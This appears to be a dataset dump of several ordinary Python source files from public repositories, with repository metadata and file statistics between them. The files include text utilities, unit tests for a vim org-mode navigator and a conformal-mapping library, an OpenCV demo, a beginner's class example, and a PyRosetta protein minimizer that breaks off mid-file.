0.042489

0.033384

0.088012

0

0.0154

0.162151

2,325

81

116

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0.661191

0.242581

0

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0

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0.263339

0.072289

0

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false

0

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0

0.1875

0.083333

0

null

0

null

0

1

0

bb39acda6eb9959537beae46dae372efee98d23a

478

py

Python

Source/RemovePunctuation.py

jj-style/Cryptobreaker

c99b9cc35114e55c87b073ee2467c06bd95835a5

[ "MIT" ]

null

Source/RemovePunctuation.py

jj-style/Cryptobreaker

c99b9cc35114e55c87b073ee2467c06bd95835a5

[ "MIT" ]

null

Source/RemovePunctuation.py

jj-style/Cryptobreaker

c99b9cc35114e55c87b073ee2467c06bd95835a5

[ "MIT" ]

null

import string punctuation = string.punctuation + "’" + '“' + "‘" + "—" def RemovePunctuation(text,remove_spaces=True,to_lower=True): text = list(text) while "\n" in text: text.remove("\n") text = "".join(text) if remove_spaces: text = text.replace(" ","") if to_lower: text=text.lower() for letter in text: if letter in punctuation: text = text.replace(letter,"") text = text.strip("\n") return text

25.157895

61

0.573222

58

478

4.672414

0.396552

0.147601

0.110701

0

0.269874

478

18

62

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0.773639

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0.023013

0

1

0.0625

false

0

0.0625

0

0.1875

0

null

0

null

0

1

0

bb39bd1cb1f7b1f9160cbb2212804ba07a9c2e7f

868

py

Python

src/BeanPorter/bpcml/Decls.py

WeZZard/BeanPorter

51a501c17aa7c14763bfe2bb361819f81119dfd1

[ "MIT" ]

null

src/BeanPorter/bpcml/Decls.py

WeZZard/BeanPorter

51a501c17aa7c14763bfe2bb361819f81119dfd1

[ "MIT" ]

null

src/BeanPorter/bpcml/Decls.py

WeZZard/BeanPorter

51a501c17aa7c14763bfe2bb361819f81119dfd1

[ "MIT" ]

null

#!/usr/bin/env python3 from abc import abstractmethod from typing import Dict, Optional from BeanPorter.bpcml.Exprs import Expr class Decl(object): def __init__(self): pass @abstractmethod def evaluate(self, variables: Dict[str, str]) -> str: pass class RuleDecl(Decl): def __init__(self, expr: Optional[Expr] = None): self.expr = expr super().__init__() def __str__(self) -> str: return self.expr.__str__() def __repr__(self) -> str: return self.expr.__repr__() @abstractmethod def evaluate(self, variables: Dict[str, str]) -> str: if self.expr is None: return "" return self.expr.evaluate(variables) @staticmethod def make_empty() -> 'RuleDecl': return RuleDecl() @staticmethod def make(expr: Expr) -> 'RuleDecl': assert(expr is not None) return RuleDecl(expr)

19.727273

55

0.658986

108

868

5.027778

0.342593

0.088398

0.077348

0.106814

0.265193

0.187845

0

0.001481

0.22235

868

43

56

20.186047

0.802963

0.024194

0

0.275862

0

0.018913

0

0.034483

1

0.275862

false

0.068966

0.103448

0.655172

0

null

0

null

0

1

0

1

0

1

0

3

bb3a099bb9a7dda933d3ae72762ca266279413d3

877

py

Python

tests/test_region.py

TorbenFricke/cmtoolkit

f1bf1ec191fd9b20e6edcd3385c8b9fee1d638ca

[ "BSD-3-Clause" ]

12

2015-07-07T03:36:43.000Z

2022-03-14T20:21:24.000Z

tests/test_region.py

TorbenFricke/cmtoolkit

f1bf1ec191fd9b20e6edcd3385c8b9fee1d638ca

[ "BSD-3-Clause" ]

11

2015-05-11T08:02:42.000Z

2020-05-21T16:13:45.000Z

tests/test_region.py

TorbenFricke/cmtoolkit

f1bf1ec191fd9b20e6edcd3385c8b9fee1d638ca

[ "BSD-3-Clause" ]

1

2017-11-07T15:14:10.000Z

import unittest from conformalmapping import * class TestRegion(unittest.TestCase): def setUp(self): self.regions = [ Disk(Circle(0.0, 1.0)) ] self.p = Circle(0.0, 1.0) def test_str_present(self): for r in self.regions: str(r) def test_repr_present(self): for r in self.regions: repr(r) def test_empty_constructors(self): r = Region() def test_onearg_constructors(self): r = Region(outer = self.p) def test_list_constructors(self): r = Region(outer = [self.p, self.p]) def test_bad_constructor(self): with self.assertRaises(Exception): r = Region(outer = [42]) def test_interior_constructor(self): r = Region.interiorto(self.p) def test_exterior_constructor(self): r = Region.exteriorto(self.p)

23.078947

44

0.600912

113

877

4.522124

0.345133

0.109589

0.107632

0.135029

0.277887

0.238748

0

0.016077

0.290764

877

37

45

23.702703

0.805466

0

0.074074

0

0.037037

1

0.333333

false

0

0.074074

0

0.444444

0

null

0

null

0

1

0

1

bb3a778fd080a8f387a45d5d5f462f403e83a6b3

399

py

Python

month06/Machine_learning/day08/demo/02_img_read_save.py

chaofan-zheng/python_learning_code

5d05848911d55aa49eaee4afd7ffd80536fad7aa

[ "Apache-2.0" ]

null

month06/Machine_learning/day08/demo/02_img_read_save.py

chaofan-zheng/python_learning_code

5d05848911d55aa49eaee4afd7ffd80536fad7aa

[ "Apache-2.0" ]

null

month06/Machine_learning/day08/demo/02_img_read_save.py

chaofan-zheng/python_learning_code

5d05848911d55aa49eaee4afd7ffd80536fad7aa

[ "Apache-2.0" ]

null

# 01_img_read_save.py # 图像读取, 显示, 保存 import cv2 im = cv2.imread("../test_img/Linus.png", # 图像路径 1) # 1-彩色图像 0-灰度图像 print(type(im)) # 打印类型: ndarray print(im.shape) # 打印图像形状 # 显示 cv2.imshow("im", # 窗体名称(如果重复,后面会覆盖前面) im) # 图像数据, imread的返回值 # 保存 cv2.imwrite("Linus_new.png", # 保存的图片路径 im)# 图像数据 cv2.waitKey() # 等待用户敲击按键(阻塞函数) cv2.destroyAllWindows() # 销毁所有创建的窗体

23.470588

47

0.62406

58

399

4.206897

0.689655

0.04918

0

0.035144

0.215539

399

17

48

23.470588

0.744409

0.380952

0

0.181818

0

0.154506

0.090129

0

1

0

false

0

0.090909

0

0.090909

0.181818

0

null

0

null

0

1

0

bb3bccac3c361186a4bcf66d697926d46ae834d7

20,129

py

Python

vim/plugins/vim-orgmode/tests/test_plugin_navigator.py

Raymond-yn/dotfiles

b1745ff62f4285785877a2c04d93ce8fa2775964

[ "MIT" ]

11

2018-11-16T02:30:33.000Z

2018-11-27T14:57:55.000Z

vim/plugins/vim-orgmode/tests/test_plugin_navigator.py

Raymond-yn/dotfiles

b1745ff62f4285785877a2c04d93ce8fa2775964

[ "MIT" ]

null

vim/plugins/vim-orgmode/tests/test_plugin_navigator.py

Raymond-yn/dotfiles

b1745ff62f4285785877a2c04d93ce8fa2775964

[ "MIT" ]

1

2019-01-22T06:51:51.000Z

# -*- coding: utf-8 -*- import unittest import sys sys.path.append(u'../ftplugin') import vim from orgmode._vim import ORGMODE from orgmode.py3compat.encode_compatibility import * START = True END = False def set_visual_selection(visualmode, line_start, line_end, col_start=1, col_end=1, cursor_pos=START): if visualmode not in (u'', u'V', u'v'): raise ValueError(u'Illegal value for visualmode, must be in , V, v') vim.EVALRESULTS['visualmode()'] = visualmode # getpos results [bufnum, lnum, col, off] vim.EVALRESULTS['getpos("\'<")'] = ('', '%d' % line_start, '%d' % col_start, '') vim.EVALRESULTS['getpos("\'>")'] = ('', '%d' % line_end, '%d' % col_end, '') if cursor_pos == START: vim.current.window.cursor = (line_start, col_start) else: vim.current.window.cursor = (line_end, col_end) counter = 0 class NavigatorTestCase(unittest.TestCase): def setUp(self): global counter counter += 1 vim.CMDHISTORY = [] vim.CMDRESULTS = {} vim.EVALHISTORY = [] vim.EVALRESULTS = { # no org_todo_keywords for b u_encode(u'exists("b:org_todo_keywords")'): u_encode('0'), # global values for org_todo_keywords u_encode(u'exists("g:org_todo_keywords")'): u_encode('1'), u_encode(u'g:org_todo_keywords'): [u_encode(u'TODO'), u_encode(u'|'), u_encode(u'DONE')], u_encode(u'exists("g:org_debug")'): u_encode(u'0'), u_encode(u'exists("g:org_debug")'): u_encode(u'0'), u_encode(u'exists("*repeat#set()")'): u_encode(u'0'), u_encode(u'b:changedtick'): u_encode(u'%d' % counter), u_encode(u"v:count"): u_encode(u'0'), } vim.current.buffer[:] = [ u_encode(i) for i in u""" * Überschrift 1 Text 1 Bla bla ** Überschrift 1.1 Text 2 Bla Bla bla ** Überschrift 1.2 Text 3 **** Überschrift 1.2.1.falsch Bla Bla bla bla *** Überschrift 1.2.1 * Überschrift 2 * Überschrift 3 asdf sdf """.split(u'\n') ] if not u'Navigator' in ORGMODE.plugins: ORGMODE.register_plugin(u'Navigator') self.navigator = ORGMODE.plugins[u'Navigator'] def test_movement(self): # test movement outside any heading vim.current.window.cursor = (1, 0) self.navigator.previous(mode=u'normal') self.assertEqual(vim.current.window.cursor, (1, 0)) self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (2, 2)) def test_forward_movement(self): # test forward movement vim.current.window.cursor = (2, 0) self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (6, 3)) self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (10, 3)) self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (13, 5)) self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (16, 4)) self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (17, 2)) self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (18, 2)) self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (18, 2)) ## don't move cursor if last heading is already focussed vim.current.window.cursor = (19, 6) self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (19, 6)) ## test movement with count vim.current.window.cursor = (2, 0) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'-1') self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (6, 3)) vim.current.window.cursor = (2, 0) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'0') self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (6, 3)) vim.current.window.cursor = (2, 0) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'1') self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (6, 3)) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'3') self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (16, 4)) self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (18, 2)) self.navigator.next(mode=u'normal') self.assertEqual(vim.current.window.cursor, (18, 2)) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'0') def test_backward_movement(self): # test backward movement vim.current.window.cursor = (19, 6) self.navigator.previous(mode=u'normal') self.assertEqual(vim.current.window.cursor, (18, 2)) self.navigator.previous(mode=u'normal') self.assertEqual(vim.current.window.cursor, (17, 2)) self.navigator.previous(mode=u'normal') self.assertEqual(vim.current.window.cursor, (16, 4)) self.navigator.previous(mode=u'normal') self.assertEqual(vim.current.window.cursor, (13, 5)) self.navigator.previous(mode=u'normal') self.assertEqual(vim.current.window.cursor, (10, 3)) self.navigator.previous(mode=u'normal') self.assertEqual(vim.current.window.cursor, (6, 3)) self.navigator.previous(mode=u'normal') self.assertEqual(vim.current.window.cursor, (2, 2)) ## test movement with count vim.current.window.cursor = (19, 6) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'-1') self.navigator.previous(mode=u'normal') self.assertEqual(vim.current.window.cursor, (18, 2)) vim.current.window.cursor = (19, 6) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'0') self.navigator.previous(mode=u'normal') self.assertEqual(vim.current.window.cursor, (18, 2)) vim.current.window.cursor = (19, 6) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'3') self.navigator.previous(mode=u'normal') self.assertEqual(vim.current.window.cursor, (16, 4)) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'4') self.navigator.previous(mode=u'normal') self.assertEqual(vim.current.window.cursor, (2, 2)) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'4') self.navigator.previous(mode=u'normal') self.assertEqual(vim.current.window.cursor, (2, 2)) def test_parent_movement(self): # test movement to parent vim.current.window.cursor = (2, 0) self.assertEqual(self.navigator.parent(mode=u'normal'), None) self.assertEqual(vim.current.window.cursor, (2, 0)) vim.current.window.cursor = (3, 4) self.navigator.parent(mode=u'normal') self.assertEqual(vim.current.window.cursor, (3, 4)) vim.current.window.cursor = (16, 4) self.navigator.parent(mode=u'normal') self.assertEqual(vim.current.window.cursor, (10, 3)) self.navigator.parent(mode=u'normal') self.assertEqual(vim.current.window.cursor, (2, 2)) vim.current.window.cursor = (15, 6) self.navigator.parent(mode=u'normal') self.assertEqual(vim.current.window.cursor, (10, 3)) self.navigator.parent(mode=u'normal') self.assertEqual(vim.current.window.cursor, (2, 2)) ## test movement with count vim.current.window.cursor = (16, 4) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'-1') self.navigator.parent(mode=u'normal') self.assertEqual(vim.current.window.cursor, (10, 3)) vim.current.window.cursor = (16, 4) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'0') self.navigator.parent(mode=u'normal') self.assertEqual(vim.current.window.cursor, (10, 3)) vim.current.window.cursor = (16, 4) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'1') self.navigator.parent(mode=u'normal') self.assertEqual(vim.current.window.cursor, (10, 3)) vim.current.window.cursor = (16, 4) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'2') self.navigator.parent(mode=u'normal') self.assertEqual(vim.current.window.cursor, (2, 2)) vim.current.window.cursor = (16, 4) vim.EVALRESULTS[u_encode(u"v:count")] = u_encode(u'3') self.navigator.parent(mode=u'normal') self.assertEqual(vim.current.window.cursor, (2, 2)) def test_next_parent_movement(self): # test movement to parent vim.current.window.cursor = (6, 0) self.assertNotEqual(self.navigator.parent_next_sibling(mode=u'normal'), None) self.assertEqual(vim.current.window.cursor, (17, 2)) def test_forward_movement_visual(self): # selection start: << # selection end: >> # cursor poistion: | # << text # text| >> # text # heading set_visual_selection(u'V', 2, 4, cursor_pos=END) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV5gg')) # << text # text # text| >> # heading set_visual_selection(u'V', 2, 5, cursor_pos=END) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV9gg')) # << text # x. heading # text| >> # heading set_visual_selection(u'V', 12, 14, cursor_pos=END) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 12ggV15gg')) set_visual_selection(u'V', 12, 15, cursor_pos=END) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 12ggV16gg')) set_visual_selection(u'V', 12, 16, cursor_pos=END) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 12ggV17gg')) # << text # text # text| >> # heading # EOF set_visual_selection(u'V', 15, 17, cursor_pos=END) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 15ggV20gg')) # << text >> # heading set_visual_selection(u'V', 1, 1, cursor_pos=START) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 1ggV5gg')) # << heading >> # text # heading set_visual_selection(u'V', 2, 2, cursor_pos=START) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV5gg')) # << text >> # heading set_visual_selection(u'V', 1, 1, cursor_pos=END) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 1ggV5gg')) # << |text # heading # text # heading # text >> set_visual_selection(u'V', 1, 8, cursor_pos=START) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV8ggo')) # << |heading # text # heading # text >> set_visual_selection(u'V', 2, 8, cursor_pos=START) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 6ggV8ggo')) # << |heading # text >> # heading set_visual_selection(u'V', 6, 8, cursor_pos=START) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 8ggV9gg')) # << |x. heading # text >> # heading set_visual_selection(u'V', 13, 15, cursor_pos=START) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 15ggV15gg')) set_visual_selection(u'V', 13, 16, cursor_pos=START) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 16ggV16ggo')) set_visual_selection(u'V', 16, 16, cursor_pos=START) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 16ggV17gg')) # << |x. heading # text >> # heading # EOF set_visual_selection(u'V', 17, 17, cursor_pos=START) self.assertNotEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 17ggV20gg')) # << |heading # text>> # text # EOF set_visual_selection(u'V', 18, 19, cursor_pos=START) self.assertEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 19ggV20gg')) # << heading # text|>> # text # EOF set_visual_selection(u'V', 18, 19, cursor_pos=END) self.assertEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 18ggV20gg')) # << heading # text|>> # EOF set_visual_selection(u'V', 18, 20, cursor_pos=END) self.assertEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 18ggV20gg')) # << |heading # text>> # EOF set_visual_selection(u'V', 20, 20, cursor_pos=START) self.assertEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 20ggV20gg')) def test_forward_movement_visual_to_the_end_of_the_file(self): vim.current.buffer[:] = [ u_encode(i) for i in u""" * Überschrift 1 Text 1 Bla bla ** Überschrift 1.1 Text 2 Bla Bla bla ** Überschrift 1.2 Text 3 **** Überschrift 1.2.1.falsch Bla Bla bla bla test """.split(u'\n') ] # << |heading # text>> # EOF set_visual_selection(u'V', 15, 15, cursor_pos=START) self.assertEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 15ggV17gg')) set_visual_selection(u'V', 15, 17, cursor_pos=END) self.assertEqual(self.navigator.next(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 15ggV17gg')) def test_backward_movement_visual(self): # selection start: << # selection end: >> # cursor poistion: | # << text | >> # text # heading set_visual_selection(u'V', 1, 1, cursor_pos=START) self.assertEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! gv')) set_visual_selection(u'V', 1, 1, cursor_pos=END) self.assertEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! gv')) # << heading| >> # text # heading set_visual_selection(u'V', 2, 2, cursor_pos=START) self.assertEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV2ggo')) set_visual_selection(u'V', 2, 2, cursor_pos=END) self.assertEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV2ggo')) # heading # text # << |text # text >> set_visual_selection(u'V', 3, 5, cursor_pos=START) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV5ggo')) # heading # text # << text # text| >> set_visual_selection(u'V', 3, 5, cursor_pos=END) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV3ggo')) # heading # text # << text # text| >> set_visual_selection(u'V', 8, 9, cursor_pos=END) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 6ggV8ggo')) # heading # << text # x. heading # text| >> set_visual_selection(u'V', 12, 14, cursor_pos=END) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 12ggV12gg')) set_visual_selection(u'V', 12, 15, cursor_pos=END) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 12ggV12gg')) # heading # << |text # x. heading # text >> set_visual_selection(u'V', 12, 15, cursor_pos=START) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 10ggV15ggo')) # heading # << text # x. heading| >> set_visual_selection(u'V', 12, 13, cursor_pos=END) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 12ggV12gg')) # heading # << text # heading # text # x. heading| >> set_visual_selection(u'V', 12, 16, cursor_pos=END) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 12ggV15gg')) # << text # heading # text # heading| >> set_visual_selection(u'V', 15, 17, cursor_pos=END) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 15ggV16gg')) # heading # << |text # text # heading # text >> set_visual_selection(u'V', 4, 8, cursor_pos=START) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV8ggo')) # heading # << text # text # heading # text| >> set_visual_selection(u'V', 4, 8, cursor_pos=END) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 4ggV5gg')) # heading # << text # text # heading # text| >> set_visual_selection(u'V', 4, 5, cursor_pos=END) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV4ggo')) # BOF # << |heading # text # heading # text >> set_visual_selection(u'V', 2, 8, cursor_pos=START) self.assertEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV8ggo')) # BOF # heading # << text # text| >> set_visual_selection(u'V', 3, 4, cursor_pos=END) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV3ggo')) # BOF # << heading # text # text| >> set_visual_selection(u'V', 2, 4, cursor_pos=END) self.assertNotEqual(self.navigator.previous(mode=u'visual'), None) self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV2ggo')) # << text # heading # text # x. heading # text| >> set_visual_selection(u'V', 8, 14, cursor_pos=END) self.navigator.previous(mode=u'visual') self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 8ggV12gg')) def test_parent_movement_visual(self): # selection start: << # selection end: >> # cursor poistion: | # heading # << text| # text # text >> set_visual_selection(u'V', 4, 8, cursor_pos=START) self.navigator.parent(mode=u'visual') self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! gv')) # heading # << text| # text # text >> set_visual_selection(u'V', 6, 8, cursor_pos=START) self.navigator.parent(mode=u'visual') self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV8ggo')) # heading # << text # text # text| >> set_visual_selection(u'V', 6, 8, cursor_pos=END) self.navigator.parent(mode=u'visual') self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 6ggV5gg')) # << |heading # text # text # text >> set_visual_selection(u'V', 2, 8, cursor_pos=START) self.assertEqual(self.navigator.parent(mode=u'visual'), None) # << heading # text # heading # text| >> set_visual_selection(u'V', 2, 8, cursor_pos=END) self.navigator.parent(mode=u'visual') self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV5gg')) set_visual_selection(u'V', 7, 8, cursor_pos=START) self.navigator.parent(mode=u'visual') self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV8ggo')) # heading # heading # << text # text| >> set_visual_selection(u'V', 12, 13, cursor_pos=END) self.navigator.parent(mode=u'visual') self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 12ggV12gg')) set_visual_selection(u'V', 10, 12, cursor_pos=START) self.navigator.parent(mode=u'visual') self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 2ggV12ggo')) # heading # << text # text # heading| >> set_visual_selection(u'V', 11, 17, cursor_pos=END) self.assertEqual(self.navigator.parent(mode=u'visual'), None) # << text # heading # text # x. heading # text| >> set_visual_selection(u'V', 8, 14, cursor_pos=END) self.navigator.parent(mode=u'visual') self.assertEqual(vim.CMDHISTORY[-1], u_encode(u'normal! 8ggV12gg')) def suite(): return unittest.TestLoader().loadTestsFromTestCase(NavigatorTestCase)

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0.696657

2,960

20,129

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0.058446

0.113819

0.056034

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0.882971

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null

0

1

0

null

0

6

bb3c72279c5fcf27f702b631f5d1c82f5eec0b49

728

py

Python

ch9_1_dogs.py

codeplinth/python_crash_course

865f326936dcfab12e77747be73bfcc632d4bde3

[ "MIT" ]

null

ch9_1_dogs.py

codeplinth/python_crash_course

865f326936dcfab12e77747be73bfcc632d4bde3

[ "MIT" ]

null

ch9_1_dogs.py

codeplinth/python_crash_course

865f326936dcfab12e77747be73bfcc632d4bde3

[ "MIT" ]

null

class Dog: """Simple attempt to model a dog""" def __init__(self,name,age): """Initialize name and age attributes""" self.name = name self.age = age def sit(self): """Simulate a dog sitting in response to a command""" print(f"{self.name} is now sitting !") def roll_over(self): """Simulate rolling over in response to a command""" print(f"{self.name} rolled over !") my_dog = Dog('Willie',6) your_dog = Dog('Lucy',2) print(f"My dog's name is {my_dog.name}.") print(f"My dog's age is {my_dog.age} years.") my_dog.sit() my_dog.roll_over() print(f"Your dog's name is {my_dog.name}.") print(f"Your dog's age is {my_dog.age} years.") your_dog.sit()

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728

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null

0

null

0

1

0

bb3e451968927b5f8712e4cdfc255420064f37b9

786

py

Python

src/flute/version.py

antonsynd/flute

4da0b3e0ff9e3fabdcf8aed1d2395dcf62d48211

[ "MIT" ]

1

2020-11-26T03:06:58.000Z

src/flute/version.py

antonsynd/flute

4da0b3e0ff9e3fabdcf8aed1d2395dcf62d48211

[ "MIT" ]

null

src/flute/version.py

antonsynd/flute

4da0b3e0ff9e3fabdcf8aed1d2395dcf62d48211

[ "MIT" ]

null

""" Decorator to gate some of the tools here on what is available in the FL Studio MIDI Scripting API version. """ import general _fl_midi_scripting_api_version_number = general.getVersion() def require_version(version): def require_version_decorator(f): def require_version_wrapper(*args, **kwargs): if version > _fl_midi_scripting_api_version_number: raise NotImplementedError( '{}() not available in FL Studio MIDI Scripting API ' 'version {}, requires version {}'.format( f.__name__, _fl_midi_scripting_api_version_number, version)) return f(*args, **kwargs) return require_version_wrapper return require_version_decorator

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null

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bb403acdcf0fd7c25a1e41c78341852ffd2414a4

3,461

py

Python

folding/minimizer.py

bigict/ProFOLD

8fac3e18d25348fc9d1fbb17552a3ce3ae1cb953

[ "MIT" ]

1

2021-08-02T07:36:03.000Z

folding/minimizer.py

bigict/ProFOLD

8fac3e18d25348fc9d1fbb17552a3ce3ae1cb953

[ "MIT" ]

null

folding/minimizer.py

bigict/ProFOLD

8fac3e18d25348fc9d1fbb17552a3ce3ae1cb953

[ "MIT" ]

null

import os import threading import queue import numpy as np from pyrosetta import ( pose_from_sequence, MoveMap, rosetta, create_score_function, SwitchResidueTypeSetMover, ) from pyrosetta.rosetta.protocols.minimization_packing import MinMover from score import score_it def _random_dihedral(): phi = [-140, -72, -122, -82, -61, 57] psi = [153, 145, 117, -14, -41, 39] w = [0.135, 0.155, 0.073, 0.122, 0.497, 0.018] p = np.random.choice(range(6), p=w) return phi[p], psi[p] def _set_random_dihedral(pose): for i in range(1, pose.total_residue()): phi, psi = _random_dihedral() pose.set_phi(i, phi) pose.set_psi(i, psi) pose.set_omega(i, 180) def _random_pose(seq, constraint): pose = pose_from_sequence(seq, "centroid") _set_random_dihedral(pose) constraint.apply(pose) return pose def _add_noise(pose): for i in range(1, pose.total_residue()): phi = pose.phi(i) + np.random.normal(0, 60) psi = pose.psi(i) + np.random.normal(0, 60) pose.set_phi(i, phi) pose.set_psi(i, psi) def _minimize_step(sf, pose): mmap = MoveMap() mmap.set_bb(True) mmap.set_chi(False) mmap.set_jump(True) min_mover = MinMover(mmap, sf, "lbfgs_armijo_nonmonotone", 0.0001, True) min_mover.max_iter(1000) min_mover.apply(pose) def _worker(seq, constraint, sf, run_dir, pose_pool, pool_size, task_queue, mutex): while True: try: idx = task_queue.get(block=False) print("Start minimize %i ................." % idx) mutex.acquire() if len(pose_pool) < pool_size or np.random.random() < 0.1: pose = _random_pose(seq, constraint) else: p = np.random.randint(len(pose_pool)) pose = pose_pool[p].clone() _add_noise(pose) mutex.release() _minimize_step(sf, pose) mutex.acquire() pose_pool.append(pose) if len(pose_pool) > pool_size: pose_pool.sort(key=lambda x: score_it(sf, x)) del pose_pool[-1] print("Score %i: %f" % (idx, score_it(sf, pose))) mutex.release() except queue.Empty: break def repeat_minimize(seq, constraints, sf, run_dir, n_workers, n_structs, n_iter): pose_pool = [] mutex = threading.Lock() q = queue.Queue() for i in range(1, n_iter + 1): q.put(i) threads = [] for i in range(n_workers): thread = threading.Thread( target=_worker, args=(seq, constraints, sf, run_dir, pose_pool, n_structs, q, mutex), ) thread.start() threads.append(thread) for x in threads: x.join() pose_pool.sort(key=lambda x: score_it(sf, x)) return pose_pool def 